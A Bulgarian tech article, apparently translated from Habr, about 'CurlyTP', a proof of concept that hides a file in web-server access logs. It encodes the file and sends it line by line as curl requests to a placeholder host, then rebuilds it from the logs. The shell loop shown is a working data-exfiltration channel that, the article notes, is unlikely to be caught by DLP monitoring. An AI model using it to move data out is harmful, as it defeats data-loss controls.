ОбмСн Π½Π° сСкрСтни ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΡ Ρ‡Ρ€Π΅Π· ΡΡŠΡ€Π²ΡŠΡ€Π½ΠΈ рСгистрационни Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅

Π‘ΠΏΠΎΡ€Π΅Π΄ дСфиницията Π½Π° Wikipedia, ΠΌΡŠΡ€Ρ‚Π²Π°Ρ‚Π° Ρ‚ΠΎΡ‡ΠΊΠ° Π΅ инструмСнт Π·Π° конспирация, ΠΊΠΎΠΉΡ‚ΠΎ слуТи Π·Π° ΠΎΠ±ΠΌΠ΅Π½ Π½Π° информация ΠΈΠ»ΠΈ някои Π΅Π»Π΅ΠΌΠ΅Π½Ρ‚ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ…ΠΎΡ€Π°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‰ΠΈ Ρ‚Π°ΠΉΠ½ΠΎ мСстополоТСниС. Π˜Π΄Π΅ΡΡ‚Π° Π΅, Ρ‡Π΅ Ρ…ΠΎΡ€Π°Ρ‚Π° Π½ΠΈΠΊΠΎΠ³Π° Π½Π΅ сС срСщат - Π½ΠΎ Π²ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‚ΠΎΠ²Π° обмСнят информация, Π·Π° Π΄Π° ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½Π°Ρ‚Π° бСзопасност.

Π‘ΠΊΡ€ΠΈΠ²Π°Π»ΠΈΡ‰Π΅Ρ‚ΠΎ Π½Π΅ трябва Π΄Π° ΠΏΡ€ΠΈΠ²Π»ΠΈΡ‡Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π—Π°Ρ‚ΠΎΠ²Π° Π² ΠΎΡ„Π»Π°ΠΉΠ½ свСта Ρ‚Π΅ чСсто ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ дискрСтни Π½Π΅Ρ‰Π°: Ρ€Π°Π·Ρ…Π»Π°Π±Π΅Π½Π° Ρ‚ΡƒΡ…Π»Π° Π² стСната, Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅Ρ‡Π½Π° ΠΊΠ½ΠΈΠ³Π° ΠΈΠ»ΠΈ ΠΊΡƒΡ…ΠΈΠ½Π° Π² Π΄ΡŠΡ€Π²ΠΎ.

Π’ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΈΠΌΠ° ΠΌΠ½ΠΎΠ³ΠΎ инструмСнти Π·Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅ ΠΈ Π°Π½ΠΎΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€Π°Π½Π΅, Π½ΠΎ самият Ρ„Π°ΠΊΡ‚ Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ‚Π΅Π·ΠΈ инструмСнти ΠΏΡ€ΠΈΠ²Π»ΠΈΡ‡Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅Ρ‚ΠΎ. ОсвСн Ρ‚ΠΎΠ²Π° Ρ‚Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€Π°Π½ΠΈ Π½Π° ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½ΠΎ ΠΈΠ»ΠΈ правитСлствСно Π½ΠΈΠ²ΠΎ. Какво Π΄Π° правя?

Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡŠΡ‚ Райън Π€Π»Π°ΡƒΡŠΡ€Ρ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈ интСрСсна опция - ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΡ‚Π΅ всСки ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ ΠΊΠ°Ρ‚ΠΎ скривалищС. Ако сС замислитС, ΠΊΠ°ΠΊΠ²ΠΎ ΠΏΡ€Π°Π²ΠΈ ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚? ΠŸΠΎΠ»ΡƒΡ‡Π°Π²Π° заявки, ΠΈΠ·Π΄Π°Π²Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ записва Π»ΠΎΠ³ΠΎΠ²Π΅. И рСгистрира всички заявки, Π΄ΠΎΡ€ΠΈ ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΈ!

Оказва сС, Ρ‡Π΅ всСки ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ Π²ΠΈ позволява Π΄Π° Π·Π°ΠΏΠ°Π·ΠΈΡ‚Π΅ ΠΏΠΎΡ‡Ρ‚ΠΈ всяко ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ Π² Π΄Π½Π΅Π²Π½ΠΈΠΊΠ°. Π¦Π²Π΅Ρ‚ΠΈ сС Ρ‡ΡƒΠ΄Π΅Ρ…Π° ΠΊΠ°ΠΊ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Ρ‚ΠΎΠ²Π°.

Π’ΠΎΠΉ ΠΏΡ€Π΅Π΄Π»Π°Π³Π° слСдния Π²Π°Ρ€ΠΈΠ°Π½Ρ‚:

  1. Π’Π·Π΅ΠΌΠ΅Ρ‚Π΅ тСкстов Ρ„Π°ΠΉΠ» (Ρ‚Π°ΠΉΠ½ΠΎ ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅) ΠΈ изчислСтС Ρ…Π΅ΡˆΠ° (md5sum).
  2. НиС Π³ΠΎ ΠΊΠΎΠ΄ΠΈΡ€Π°ΠΌΠ΅ (gzip+uuencode).
  3. ПишСм Π² Π΄Π½Π΅Π²Π½ΠΈΠΊΠ°, ΠΊΠ°Ρ‚ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΡƒΠΌΠΈΡˆΠ»Π΅Π½ΠΎ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½Π° заявка към ΡΡŠΡ€Π²ΡŠΡ€Π°.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Π—Π° Π΄Π° ΠΏΡ€ΠΎΡ‡Π΅Ρ‚Π΅Ρ‚Π΅ Ρ„Π°ΠΉΠ», трябва Π΄Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠΈΡ‚Π΅ Ρ‚Π΅Π·ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π² ΠΎΠ±Ρ€Π°Ρ‚Π΅Π½ Ρ€Π΅Π΄: Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€Π°ΠΉΡ‚Π΅ ΠΈ Ρ€Π°Π·Π°Ρ€Ρ…ΠΈΠ²ΠΈΡ€Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Π°, ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Ρ‚Π΅ Ρ…Π΅ΡˆΠ° (Ρ…Π΅ΡˆΡŠΡ‚ ΠΌΠΎΠΆΠ΅ бСзопасно Π΄Π° сС ΠΏΡ€Π΅Π΄Π°Π²Π° ΠΏΠΎ ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ΠΈ ΠΊΠ°Π½Π°Π»ΠΈ).

Π˜Π½Ρ‚Π΅Ρ€Π²Π°Π»ΠΈΡ‚Π΅ сС замСнят с =+=Ρ‚Π°ΠΊΠ° Ρ‡Π΅ Π΄Π° няма ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΈ Π² адрСса. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π°, която Π°Π²Ρ‚ΠΎΡ€ΡŠΡ‚ Π½Π°Ρ€ΠΈΡ‡Π° CurlyTP, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠΎΠ΄ΠΈΡ€Π°Π½Π΅ base64, ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΈΠΊΠ°Ρ‡Π΅Π½ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ към ΠΈΠΌΠ΅ΠΉΠ». Заявката сС ΠΏΡ€Π°Π²ΠΈ с ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° Π΄ΡƒΠΌΠ° ?transfer?Ρ‚Π°ΠΊΠ° Ρ‡Π΅ получатСлят Π΄Π° ΠΌΠΎΠΆΠ΅ лСсно Π΄Π° Π³ΠΎ Π½Π°ΠΌΠ΅Ρ€ΠΈ Π² рСгистрационнитС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅.

Какво Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ Π² Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈΡ‚Π΅ Π² Ρ‚ΠΎΠ·ΠΈ случай?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ΠšΠ°ΠΊΡ‚ΠΎ Π²Π΅Ρ‡Π΅ спомСнахмС, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Ρ‚Π°ΠΉΠ½ΠΎ ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅, трябва Π΄Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠΈΡ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π² ΠΎΠ±Ρ€Π°Ρ‚Π΅Π½ Ρ€Π΅Π΄:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

ΠŸΡ€ΠΎΡ†Π΅ΡΡŠΡ‚ Π΅ лСсСн Π·Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°Π½Π΅. Md5sum съвпада ΠΈ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Ρ„Π°ΠΉΠ»Π° ΠΏΠΎΡ‚Π²ΡŠΡ€ΠΆΠ΄Π°Π²Π°, Ρ‡Π΅ всичко Π΅ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€Π°Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ.

ΠœΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ Π΅ ΠΌΠ½ΠΎΠ³ΠΎ прост. β€žΠ‘ΠΌΠΈΡΡŠΠ»ΡŠΡ‚ Π½Π° Ρ‚ΠΎΠ²Π° ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ Π΅ просто Π΄Π° Π΄ΠΎΠΊΠ°ΠΆΠ΅ΠΌ, Ρ‡Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΏΡ€Π΅Ρ…Π²ΡŠΡ€Π»ΡΡ‚ Ρ‡Ρ€Π΅Π· Π½Π΅Π²ΠΈΠ½Π½ΠΈ ΠΌΠ°Π»ΠΊΠΈ ΡƒΠ΅Π± заявки ΠΈ Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚ΠΈ Π½Π° всСки ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ с Π΄Π½Π΅Π²Π½ΠΈΡ†ΠΈ с ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ тСкст. По ΡΡŠΡ‰Π΅ΡΡ‚Π²ΠΎ всСки ΡƒΠ΅Π± ΡΡŠΡ€Π²ΡŠΡ€ Π΅ скривалищС!β€œ, пишС Π€Π»Π°ΡƒΡŠΡ€Ρ.

Π Π°Π·Π±ΠΈΡ€Π° сС, ΠΌΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ Ρ€Π°Π±ΠΎΡ‚ΠΈ само Π°ΠΊΠΎ получатСлят ΠΈΠΌΠ° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ рСгистрационнитС Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π°. Но Ρ‚Π°ΠΊΡŠΠ² Π΄ΠΎΡΡ‚ΡŠΠΏ сС прСдоставя Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ хостСри.

Как сС използва?

Райън Π€Π»Π°ΡƒΡŠΡ€Ρ ΠΊΠ°Π·Π²Π°, Ρ‡Π΅ Π½Π΅ Π΅ СкспСрт ΠΏΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Π° сигурност ΠΈ няма Π΄Π° ΡΡŠΡΡ‚Π°Π²ΠΈ списък с възмоТни ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈ Π½Π° CurlyTP. Π—Π° Π½Π΅Π³ΠΎ Ρ‚ΠΎΠ²Π° Π΅ просто доказатСлство Π·Π° концСпцията, Ρ‡Π΅ ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈΡ‚Π΅ инструмСнти, ΠΊΠΎΠΈΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ всСки Π΄Π΅Π½, ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ ΠΏΠΎ Π½Π΅Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π΅Π½ Π½Π°Ρ‡ΠΈΠ½.

Π’ΡΡŠΡ‰Π½ΠΎΡΡ‚ Ρ‚ΠΎΠ·ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ° Ρ€Π΅Π΄ΠΈΡ†Π° прСдимства ΠΏΡ€Π΅Π΄ Π΄Ρ€ΡƒΠ³ΠΈ ΡΡŠΡ€Π²ΡŠΡ€Π½ΠΈ β€žΡΠΊΡ€ΠΈΠ²Π°Π½ΠΈΡβ€œ ΠΊΠ°Ρ‚ΠΎ Π¦ΠΈΡ„Ρ€ΠΎΠ²Π° ΠΌΡŠΡ€Ρ‚Π²Π° ΠΊΠ°ΠΏΠΊΠ° ΠΈΠ»ΠΈ PirateBox: Π½Π΅ изисква спСциална конфигурация ΠΎΡ‚ страна Π½Π° ΡΡŠΡ€Π²ΡŠΡ€Π° ΠΈΠ»ΠΈ някакви спСциални ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ - ΠΈ няма Π΄Π° ΡΡŠΠ±ΡƒΠ΄ΠΈ ΠΏΠΎΠ΄ΠΎΠ·Ρ€Π΅Π½ΠΈΠ΅ срСд Ρ‚Π΅Π·ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ Π½Π°Π±Π»ΡŽΠ΄Π°Π²Π°Ρ‚ Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°. Малко вСроятно Π΅ SORM ΠΈΠ»ΠΈ DLP систСма Π΄Π° сканира URL адрСси Π·Π° компрСсирани тСкстови Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅.

Π’ΠΎΠ²Π° Π΅ Π΅Π΄ΠΈΠ½ ΠΎΡ‚ Π½Π°Ρ‡ΠΈΠ½ΠΈΡ‚Π΅ Π·Π° ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΡ Ρ‡Ρ€Π΅Π· сСрвизни Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅. БпомнятС си ΠΊΠ°ΠΊ пласираха някои Π½Π°ΠΏΡ€Π΅Π΄Π½Π°Π»ΠΈ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Π Π°Π±ΠΎΡ‚Π° Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈ Π² HTTP Ρ…Π΅Π΄ΡŠΡ€ΠΈ ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ΄Π° Π½Π° HTML страници.

ОбмСн Π½Π° сСкрСтни ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΡ Ρ‡Ρ€Π΅Π· ΡΡŠΡ€Π²ΡŠΡ€Π½ΠΈ рСгистрационни Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅

Π˜Π΄Π΅ΡΡ‚Π° бСшС само ΡƒΠ΅Π± Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅ Π΄Π° Π²ΠΈΠΆΠ΄Π°Ρ‚ Ρ‚ΠΎΠ²Π° вСликдСнско яйцС, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»Π΅Π½ Ρ‡ΠΎΠ²Π΅ΠΊ Π½Π΅ Π±ΠΈ ΠΏΠΎΠ³Π»Π΅Π΄Π½Π°Π» Π·Π°Π³Π»Π°Π²ΠΊΠΈΡ‚Π΅ ΠΈΠ»ΠΈ HTML ΠΊΠΎΠ΄Π°.

ОбмСн Π½Π° сСкрСтни ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΡ Ρ‡Ρ€Π΅Π· ΡΡŠΡ€Π²ΡŠΡ€Π½ΠΈ рСгистрационни Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€